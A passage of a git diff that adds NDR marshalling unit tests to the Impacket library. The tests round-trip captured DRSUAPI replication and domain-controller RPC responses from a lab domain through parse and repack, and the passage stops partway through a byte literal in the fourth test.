new file mode 100644
index 0000000..1753f84
--- /dev/null
+++ b/tests/SMB_RPC/test_ndr.py
@@ -0,0 +1,397 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import division
+from __future__ import print_function
+
+import unittest
+
+from impacket.dcerpc.v5.samr import SamrLookupNamesInDomainResponse, SamrLookupIdsInDomain
+from impacket.dcerpc.v5.drsuapi import DRSCrackNamesResponse,DRSDomainControllerInfoResponse,DRSGetNCChangesResponse
+from impacket.winregistry import hexdump
+from impacket.dcerpc.v5.lsat import LsarGetUserNameResponse, LsarLookupSids2Response
+from impacket.dcerpc.v5.rrp import BaseRegEnumValueResponse, BaseRegGetKeySecurityResponse, BaseRegQueryMultipleValues, RVALENT, REG_SZ, BaseRegQueryValueResponse
+from impacket.dcerpc.v5.scmr import RCreateServiceWResponse
+from impacket.dcerpc.v5.dcomrt import ComplexPing
+from impacket.dcerpc.v5 import dtypes
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5 import srvs
+from impacket.dcerpc.v5 import epm
+from impacket.dcerpc.v5.epm import ept_lookupResponse
+from impacket.uuid import string_to_bin, uuidtup_to_bin
+
+
+class NDRTests(unittest.TestCase):
+    NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
+
+    def test_1(self):
+        #<class 'impacket.dcerpc.v5.drsuapi.DRSCrackNamesResponse'>
+        crackNamesResponse = b'\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x05\x00\x00\x00\x04\x00\x02\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x02\x00q\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xbf\xbf\x00\x00\x00\x00'
+        crackNames = DRSCrackNamesResponse()
+        crackNames.fromString(crackNamesResponse)
+        crackNames.dump()
+        output = crackNames.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(crackNamesResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        #hexdump(crackNamesResponse)
+        #hexdump(output)
+        self.assertEqual(crackNamesResponse, output)
+        #print repr(output)
+
+    def test_2(self):
+        #<class 'impacket.dcerpc.v5.drsuapi.DRSDomainControllerInfoResponse'>
+        domainControllerInfoResponse = b'\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x04\x00\x02\x00\x08\x00\x02\x00\x0c\x00\x02\x00\x10\x00\x02\x00\x14\x00\x02\x00\x18\x00\x02\x00\x1c\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\xe6)\x8fL>\xfdXK\x88\xf26\xc1s\x08\xa2\xa1EG\x1c\xc0r\x17$H\xb6Y:\x1b\x10\x9dV\x0bz|z\x17\x08\xe4U@\xae\xb8\xcc\xc4<\xa4\xd3\x18\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x0b\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00\x00\x00\xab\xab\x17\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00.\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00.\x00N\x00E\x00T\x00\x00\x00\xab\xab\x18\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00\x00\x00G\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xab6\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00O\x00U\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00 \x00C\x00o\x00n\x00t\x00r\x00o\x00l\x00l\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00q\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xbf\xbf\x00\x00\x00\x00'
+        domainController = DRSDomainControllerInfoResponse()
+        domainController.fromString(domainControllerInfoResponse)
+        domainController.dump()
+        output = domainController.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(domainControllerInfoResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(domainControllerInfoResponse)
+        hexdump(output)
+        #print "ORIG: %d, REPACKED: %d" % (len(domainControllerInfoResponse), len(output))
+        self.assertEqual(domainControllerInfoResponse, output)
+
+    def test_3(self):
+        #<class 'impacket.dcerpc.v5.drsuapi.DRSGetNCChangesResponse'>
+        getNCChangesResponse = b'\x06\x00\x00\x00\x06\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x02\x00\xab\xab\xab\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x02\x00\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x02\x00\x03\x00\x00\x00\x08\x00\x00\x00\x14\x00\x02\x00\x04\x00\x00\x00\x08\x00\x00\x00\x18\x00\x02\x00\x05\x00\x00\x00\x08\x00\x00\x00\x1c\x00\x02\x00\x06\x00\x00\x00\x08\x00\x00\x00 \x00\x02\x00\x07\x00\x00\x00\x08\x00\x00\x00$\x00\x02\x00\x08\x00\x00\x00\x02\x00\x00\x00(\x00\x02\x00\t\x00\x00\x00\x08\x00\x00\x00,\x00\x02\x00\n\x00\x00\x00\x08\x00\x00\x000\x00\x02\x00\x13\x00\x00\x00\x08\x00\x00\x004\x00\x02\x00\x14\x00\x00\x00\x08\x00\x00\x008\x00\x02\x00\x15\x00\x00\x00\t\x00\x00\x00<\x00\x02\x00\x16\x00\x00\x00\t\x00\x00\x00@\x00\x02\x00\x17\x00\x00\x00\n\x00\x00\x00D\x00\x02\x00\x18\x00\x00\x00\x02\x00\x00\x00H\x00\x02\x00\x19\x00\x00\x00\x02\x00\x00\x00L\x00\x02\x00\x1a\x00\x00\x00\x02\x00\x00\x00P\x00\x02\x00\x0b\x00\x00\x00\n\x00\x00\x00T\x00\x02\x00\x0c\x00\x00\x00\t\x00\x00\x00X\x00\x02\x00\r\x00\x00\x00\n\x00\x00\x00\\\x00\x02\x00\x0e\x00\x00\x00\t\x00\x00\x00`\x00\x02\x00\x0f\x00\x00\x00\n\x00\x00\x00d\x00\x02\x00\x10\x00\x00\x00\t\x00\x00\x00h\x00\x02\x00\x11\x00\x00\x00\t\x00\x00\x00l\x00\x02\x00\x12\x00\x00\x00\n\x00\x00\x00p\x00\x02\x00\x1b\x00\x00\x00\t\x00\x00\x00t\x00\x02\x00\x1c\x00\x00\x00\t\x00\x00\x00x\x00\x02\x00\x1d\x00\x00\x00\x08\x00\x00\x00|\x00\x02\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x80\x00\x02\x00\x1f\x00\x00\x00\t\x00\x00\x00\x84\x00\x02\x00 \x00\x00\x00\t\x00\x00\x00\x88\x00\x02\x00!\x00\x00\x00\n\x00\x00\x00\x8c\x00\x02\x00"\x00\x00\x00\n\x00\x00\x00\x90\x00\x02\x00#\x00\x00\x00\n\x00\x00\x00\x94\x00\x02\x00$\x00\x00\x00\n\x00\x00\x00\x98\x00\x02\x00%\x00\x00\x00\x06\x00\x00\x00\x9c\x00\x02\x00&\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x02\x00\x02\x00\x00\x00U\x04\xca\xca\x02\x00\x00\x00U\x06\xca\xca\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x02\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x03\x08\x00\x00\x00`\x86H\x01e\x02\x02\x01\x08\x00\x00\x00`\x86H\x01e\x02\x02\x03\x08\x00\x00\x00`\x86H\x01e\x02\x01\x05\x08\x00\x00\x00`\x86H\x01e\x02\x01\x04\x02\x00\x00\x00U\x05\xca\xca\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\x08\x00\x00\x00\t\x92&\x89\x93\xf2,d\x08\x00\x00\x00`\x86H\x01\x86\xf8B\x03\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x01\xca\xca\xca\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x01\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\xb6X\xca\xca\x02\x00\x00\x00U\x15\xca\xca\x02\x00\x00\x00U\x12\xca\xca\x02\x00\x00\x00U\x14\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x04\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x058\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x06\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x059\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x07\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05:\xca\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05I\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x821\xca\xca\t\x00\x00\x00+\x06\x01\x04\x01\x8b:ew\xca\xca\xca\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x02\xca\xca\xca\x08\x00\x00\x00+\x06\x01\x04\x01\x81z\x01\x08\x00\x00\x00*\x86H\x86\xf7\r\x01\t\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x04\xca\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x17\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x01\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x02\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x03\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x04\xca\xca\x06\x00\x00\x00+\x06\x01\x01\x01\x01\xca\xca\x06\x00\x00\x00+\x06\x01\x01\x01\x02\xab\xab\x00\x00\x00\x00\xa8\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\xac\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x02\x00\x12\x00\x00\x00\\\x00\x00\x00\x18\x00\x00\x00\xbb\xd9xM\x8c\xa3lI\xb5\xd3a\xde\x92\xcb\xaa\x0c\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x02\x00\x00\x00\x01\x00\x02\x00\x01\x00\x00\x00\xb0\x00\x02\x00\x92\x00\t\x00\x01\x00\x00\x00\xb8\x00\x02\x00\x01\x00\x00\x00\x04\x00\x00\x00\xb4\x00\x02\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00\xbc\x00\x02\x00\x18\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\x02\x00\x00\x00\xab\xab\xab\xab\x01\x00\x00\x00\xbf\xbf\xbf\xbf\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xbf\xbf\xbf\xbf\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x04\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        ncChanges = DRSGetNCChangesResponse()
+        ncChanges.fromString(getNCChangesResponse)
+        ncChanges.dump()
+        output = ncChanges.getData()
+        print(repr(output))
+        print("ORIG: %d, REPACKED: %d" % (len(getNCChangesResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(getNCChangesResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(getNCChangesResponse), len(output))
+
+    def test_4(self):
+        #<class 'impacket.dcerpc.v5.drsuapi.DRSGetNCChangesResponse'>
+        getNCChangesResponse = b'\x06\x00\x00\x00\x06\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x02\x00\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x02\x00\x03\x00\x00\x00\x08\x00\x00\x00\x14\x00\x02\x00\x04\x00\x00\x00\x08\x00\x00\x00\x18\x00\x02\x00\x05\x00\x00\x00\x08\x00\x00\x00\x1c\x00\x02\x00\x06\x00\x00\x00\x08\x00\x00\x00 \x00\x02\x00\x07\x00\x00\x00\x08\x00\x00\x00$\x00\x02\x00\x08\x00\x00\x00\x02\x00\x00\x00(\x00\x02\x00\t\x00\x00\x00\x08\x00\x00\x00,\x00\x02\x00\n\x00\x00\x00\x08\x00\x00\x000\x00\x02\x00\x13\x00\x00\x00\x08\x00\x00\x004\x00\x02\x00\x14\x00\x00\x00\x08\x00\x00\x008\x00\x02\x00\x15\x00\x00\x00\t\x00\x00\x00<\x00\x02\x00\x16\x00\x00\x00\t\x00\x00\x00@\x00\x02\x00\x17\x00\x00\x00\n\x00\x00\x00D\x00\x02\x00\x18\x00\x00\x00\x02\x00\x00\x00H\x00\x02\x00\x19\x00\x00\x00\x02\x00\x00\x00L\x00\x02\x00\x1a\x00\x00\x00\x02\x00\x00\x00P\x00\x02\x00\x0b\x00\x00\x00\n\x00\x00\x00T\x00\x02\x00\x0c\x00\x00\x00\t\x00\x00\x00X\x00\x02\x00\r\x00\x00\x00\n\x00\x00\x00\\\x00\x02\x00\x0e\x00\x00\x00\t\x00\x00\x00`\x00\x02\x00\x0f\x00\x00\x00\n\x00\x00\x00d\x00\x02\x00\x10\x00\x00\x00\t\x00\x00\x00h\x00\x02\x00\x11\x00\x00\x00\t\x00\x00\x00l\x00\x02\x00\x12\x00\x00\x00\n\x00\x00\x00p\x00\x02\x00\x1b\x00\x00\x00\t\x00\x00\x00t\x00\x02\x00\x1c\x00\x00\x00\t\x00\x00\x00x\x00\x02\x00\x1d\x00\x00\x00\x08\x00\x00\x00|\x00\x02\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x80\x00\x02\x00\x1f\x00\x00\x00\t\x00\x00\x00\x84\x00\x02\x00 \x00\x00\x00\t\x00\x00\x00\x88\x00\x02\x00!\x00\x00\x00\n\x00\x00\x00\x8c\x00\x02\x00"\x00\x00\x00\n\x00\x00\x00\x90\x00\x02\x00#\x00\x00\x00\n\x00\x00\x00\x94\x00\x02\x00$\x00\x00\x00\n\x00\x00\x00\x98\x00\x02\x00%\x00\x00\x00\x06\x00\x00\x00\x9c\x00\x02\x00&\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x02\x00\x02\x00\x00\x00U\x04\x00\x00\x02\x00\x00\x00U\x06\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x02\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x03\x08\x00\x00\x00`\x86H\x01e\x02\x02\x01\x08\x00\x00\x00`\x86H\x01e\x02\x02\x03\x08\x00\x00\x00`\x86H\x01e\x02\x01\x05\x08\x00\x00\x00`\x86H\x01e\x02\x01\x04\x02\x00\x00\x00U\x05\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\x08\x00\x00\x00\t\x92&\x89\x93\xf2,d\x08\x00\x00\x00`\x86H\x01\x86\xf8B\x03\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x01\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x01\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\xb6X\x00\x00\x02\x00\x00\x00U\x15\x00\x00\x02\x00\x00\x00U\x12\x00\x00\x02\x00\x00\x00U\x14\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x04\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x058\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x06\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x059\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x07\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05:\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05I\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x821\x00\x00\t\x00\x00\x00+\x06\x01\x04\x01\x8b:ew\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x02\x00\x00\x00\x08\x00\x00\x00+\x06\x01\x04\x01\x81z\x01\x08\x00\x00\x00*\x86H\x86\xf7\r\x01\t\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x04\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x17\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x01\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x02\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x03\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x04\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x01\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x02\x00\x00\x00\x00\x00\x00\xa8\x00\x02\x00\x01\x00\x00\x00%\x00\x00\x00\xac\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8\x01\x02\x00\x12\x00\x00\x00\\\x00\x00\x00\x18\x00\x00\x00\xbb\xd9xM\x8c\xa3lI\xb5\xd3a\xde\x92\xcb\xaa\x0c\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\xb0\x00\x02\x00\x01\x00\x02\x00\x01\x00\x00\x00\xc0\x00\x02\x00\x02\x00\x02\x00\x01\x00\x00\x00\xc8\x00\x02\x00J\x00\x02\x00\x01\x00\x00\x00\xd0\x00\x02\x00\x19\x01\x02\x00\x01\x00\x00\x00\xd8\x00\x02\x00\x01\x00\t\x00\x01\x00\x00\x00\xe0\x00\x02\x00\x1a\x00\t\x00\x01\x00\x00\x00\xe8\x00\x02\x00\'\x00\t\x00\x01\x00\x00\x00\xf0\x00\x02\x00<\x00\t\x00\x